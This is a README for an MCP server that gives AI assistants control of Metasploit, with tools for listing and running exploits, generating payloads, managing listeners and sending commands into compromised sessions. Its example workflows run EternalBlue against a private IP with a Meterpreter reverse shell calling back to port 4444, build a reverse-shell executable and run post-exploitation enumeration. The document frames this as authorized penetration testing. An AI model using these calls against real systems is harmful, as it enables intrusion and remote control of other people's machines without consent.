Metasploit MCP Server
A Model Context Protocol (MCP) server for Metasploit Framework integration.
Description
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
Features
Module Information
- **list_exploits**: Search and list available Metasploit exploit modules
- **list_payloads**: Search and list available Metasploit payload modules with optional platform and architecture filtering
Exploitation Workflow
- **run_exploit**: Configure and execute an exploit against a target with options to run checks first
- **run_auxiliary_module**: Run any Metasploit auxiliary module with custom options
- **run_post_module**: Execute post-exploitation modules against existing sessions
Payload Generation
- **generate_payload**: Generate payload files using Metasploit RPC (saves files locally)
Session Management
- **list_active_sessions**: Show current Metasploit sessions with detailed information
- **send_session_command**: Run a command in an active shell or Meterpreter session
- **terminate_session**: Forcefully end an active session
Handler Management
- **list_listeners**: Show all active handlers and background jobs
- **start_listener**: Create a new multi/handler to receive connections
- **stop_job**: Terminate any running job or handler
Prerequisites
- Metasploit Framework installed and msfrpcd running
- Python 3.10 or higher
- Required Python packages (see requirements.txt)
Installation
- Clone this repository
- Install dependencies: ``` pip install -r requirements.txt ```
- Configure environment variables (optional): ``` MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads ```
Usage
Start the Metasploit RPC service:
For Claude Desktop integration, configure `claude_desktop_config.json`:
Security Considerations
**IMPORTANT SECURITY WARNING**:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
- Always validate and review all commands before execution
- Only run in segregated test environments or with proper authorization
- Be aware that post-exploitation commands can result in significant system modifications
Example Workflows
Basic Exploitation
- List available exploits: `list_exploits("ms17_010")`
- Select and run an exploit: `run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})`
- List sessions: `list_active_sessions()`
- Run commands: `send_session_command(1, "whoami")`
Post-Exploitation
- Run a post module: `run_post_module("windows/gather/enum_logged_on_users", 1)`
- Send custom commands: `send_session_command(1, "sysinfo")`
- Terminate when done: `terminate_session(1)`
Handler Management
- Start a listener: `start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)`
- List active handlers: `list_listeners()`
- Generate a payload: `generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})`
- Stop a handler: `stop_job(1)`
Configuration Options
Payload Save Directory
By default, payloads generated with `generate_payload` are saved to a `payloads` directory in your home folder (`~/payloads` or `C:\Users\YourUsername\payloads`). You can customize this location by setting the `PAYLOAD_SAVE_DIR` environment variable.
**Setting the environment variable:**
- **Windows (PowerShell)**: ```powershell $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads" ```
- **Windows (Command Prompt)**: ```cmd set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads ```
- **Linux/macOS**: ```bash export PAYLOAD_SAVE_DIR=/custom/path/to/payloads ```
- **In Claude Desktop config**: ```json "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default } ```
**Note:** If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
License
Apache 2.0